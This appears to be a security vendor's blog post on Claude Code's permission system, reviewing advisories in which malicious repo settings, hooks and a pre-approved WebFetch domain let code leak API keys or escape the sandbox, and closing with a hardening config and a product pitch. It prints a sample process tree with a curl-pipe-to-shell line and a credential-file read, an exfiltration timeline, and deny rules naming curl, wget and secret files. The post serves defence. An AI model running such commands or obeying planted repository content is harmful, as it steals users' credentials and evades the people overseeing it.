Claude Code asks before it acts. Among agentic coding tools, Anthropic's CLI has the clearest permission model, with documented modes and rule syntax. It is also a process running as your user with shell access, a network stack, and config files a cloned repository can write to. As of October 2026, github.com/anthropics/claude-code/security/advisories lists 36 published security advisories, most filed since 2025. The common thread: code ran before, around, or underneath the permission prompt.
This post covers how the permission system works today, the patterns advisories have followed, where hooks and MCP servers expand the blast radius, and the managed settings file that closes the most common gaps.
Claude Code security: how the permission model works
Claude Code uses permission modes and rules. The mode decides what you see. Manual mode (the default for interactive sessions) asks before running shell commands, editing files, or fetching the web. Auto mode sends those decisions to a classifier model. Plan mode is read-only. Accept Edits auto-approves file changes in the working directory.
Permission rules live in allow, ask, and deny lists. A rule names a tool and a specifier: Bash(npm run test), Read(./.env), WebFetch(domain:example.com). Settings files stack by precedence. Managed settings (delivered by your organization via MDM, a system file, or server-managed settings from the claude.ai console) sit at the top. Command-line --settings comes next, then .claude/settings.local.json, .claude/settings.json (the committed team file), and ~/.claude/settings.json at the bottom.
Two design calls deserve credit. First, rules are enforced by Claude Code itself, not by the model. A CLAUDE.md or a poisoned README can shape what Claude tries, not what the CLI allows. Second, the sandboxed Bash tool uses Seatbelt on macOS and bubblewrap on Linux, so a command that slips past the prompt still hits an OS boundary.
Where the prompt was not the boundary
Read the 36 advisories as a group and three patterns appear.
Before the prompt. CVE-2026-21852 (published January 2026, fixed in v2.0.65): a repo settings file set ANTHROPIC_BASE_URL, and Claude Code sent the user's API key to it before the workspace trust dialog appeared. CVE-2026-33068 (March 2026, v2.1.53): permissions.defaultMode set to bypassPermissions in the repo's .claude/settings.json silently skipped the trust dialog. CVE-2026-40068 (April 2026, v2.1.84): a crafted git worktree commondir file pointed to a previously trusted path and inherited that trust, running the repo's hooks. Opening an untrusted repository is the attack.
Around the prompt. CVE-2026-54316 (June 2026, v2.1.163): huggingface.co was pre-approved for WebFetch, and any path on that host counted as a download server-side, creating a covert exfiltration channel. Earlier, ping, nslookup, and DNS-resolving commands were on the default allowlist, letting an injected comment read .env and send the key out as a DNS subdomain with no prompt. Anthropic fixed that in June 2025 after Johann Rehberger disclosed it.
Underneath the prompt. CVE-2026-25725 (February 2026, v2.1.2): code inside the bubblewrap sandbox created .claude/settings.json if it did not exist, planted a SessionStart hook, and ran on the host the next time Claude Code started. CVE-2026-55607 (June 2026, v2.1.163): worktree confusion plus symlinks overwrote ~/.zshenv from inside Seatbelt.
- 00:00.000WebFetch(huggingface.co/user/repo/resolve/main/x.json)pre-approved domain, no prompt
- 00:00.230HuggingFace logs download server-sidecovert channel established
- 00:00.450Agent repeats with encoded data in pathexfiltration via pre-approved tool
Anthropic patches fast, credits HackerOne reporters by name, and auto-update carries the fix. That is real credit. Every one of these was reachable through content the agent read, and none tripped a permission prompt.
- AnthropicJan 20, 2026AdvisoryMalicious repo configuration can trigger data leakage via environment configuration used before trust confirmation
“A vulnerability in Claude Code's project-load flow allowed malicious repositories to exfiltrate data including Anthropic API keys before users confirmed trust.”
Read the source - AnthropicJun 13, 2026AdvisoryOut-of-Band Data Exfiltration via Pre-Approved HuggingFace Domain in WebFetch
“An attacker able to inject untrusted content into a Claude Code context could direct it to issue WebFetch requests against attacker-controlled repository files, which HuggingFace counts as downloads server-side, creating a covert out-of-band channel for encoding and exfiltrating data Claude can access such as files, environment variables, or command output.”
Read the source - AnthropicFeb 6, 2026AdvisorySandbox Escape via Persistent Configuration Injection in settings.json
“This allowed malicious code running inside the sandbox to create this file and inject persistent hooks (such as SessionStart commands) that would execute with host privileges when Claude Code was restarted.”
Read the source
Hooks and MCP servers widen the blast radius
Hooks are shell commands Claude Code runs on events: SessionStart, PreToolUse, PostToolUse. The hooks reference says it without hedging: "Command hooks execute shell commands with your full user permissions." A hook is the one part of Claude Code where no model is in the loop and no prompt fires.
Hooks can be defined in the committed .claude/settings.json, in a plugin's hooks/hooks.json, or in skill frontmatter. A hook in a cloned repo's settings file waits for workspace trust, but trust is a one-time dialog and CVE-2026-40068 showed how a worktree can inherit it.
MCP servers are the other multiplier. Since v2.1.196, enableAllProjectMcpServers or enabledMcpjsonServers committed to the repo's .claude/settings.json is ignored until you trust the folder, and the server stays pending. What that cannot close is a server you approved that later fetches attacker-controlled content. That is the Invariant Labs demonstration of May 2025, run against Claude Desktop with the GitHub MCP server. The same token and the same reach exist in Claude Code.
- claude (pid 51203)
- bash -c 'npm install'
- node preinstall.js
- sh -c 'curl -s https://198.51.100.47/s | sh'flagged
- python3 -c 'open("/Users/dev/.aws/credentials").read()'flagged
The permission prompt saw npm install. Every process under it is a descendant of the one it approved, and the Read(~/.aws/**) deny rule never applied because a Python script opened the file, not Claude.
Managed settings for teams
Deploy a managed settings file. On macOS it goes at /Library/Application Support/ClaudeCode/managed-settings.json. Nothing a user sets overrides it, and every key below is documented in the settings reference.
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(~/.aws/**)",
"Read(~/.ssh/**)",
"Bash(curl *)",
"Bash(wget *)"
],
"disableBypassPermissionsMode": "disable"
},
"allowManagedPermissionRulesOnly": true,
"allowManagedHooksOnly": true,
"sandbox": {
"enabled": true,
"filesystem": {
"denyRead": ["~/.aws", "~/.ssh"]
}
},
"cleanupPeriodDays": 7
}
disableBypassPermissionsMode removes --dangerously-skip-permissions from the fleet. allowManagedHooksOnly means a hook in a cloned repo's .claude/settings.json does not run, which retires the CVE-2026-40068 and CVE-2026-25725 shapes regardless of version. sandbox.enabled with denyRead is the OS-level version of the Read deny rule, and it is the one that stops the Python script. cleanupPeriodDays shortens how long plaintext session transcripts sit in ~/.claude/projects/; the default is 30 days.
Then four habits:
- Treat
.claude/settings.json,.mcp.json, andCLAUDE.mdas code. A CODEOWNERS rule and a required review. Every pre-trust advisory above started with one of these files in a repository someone cloned. - Pin the floor. Auto-update carries the fixes, but only for machines that update. Check
claude --versionin your fleet inventory and refuse anything older than the last advisory's patch version. - Never
-pan untrusted repo without--bare. Trust verification is off in non-interactive mode. If your CI clones external contributions and runs Claude Code over them, this is the line that matters. - Watch the OS, not the prompt. Deny rules stop the tools Claude Code recognizes. The sandbox stops the rest when it is on and unbroken. A recorder that sees every process, file open, and socket, and compares them against what the agent said it was doing, is the layer that does not depend on the agent being honest.
For the same analysis of a different editor, read Cursor security risks. For the MCP side on its own, the MCP security checklist. For what happens when agents act outside their evaluations, rogue AI agents. For attackers turning agents into attack tools, the AI cyberattack race. For the case where the agent deleted production infrastructure, when AI agents delete production.
If you want to see what an OS-level recorder catches that the permission layer does not, book a demo. Quint runs on developer endpoints and records every file, process, and network event for every agent on the machine, including the ones IT never approved.



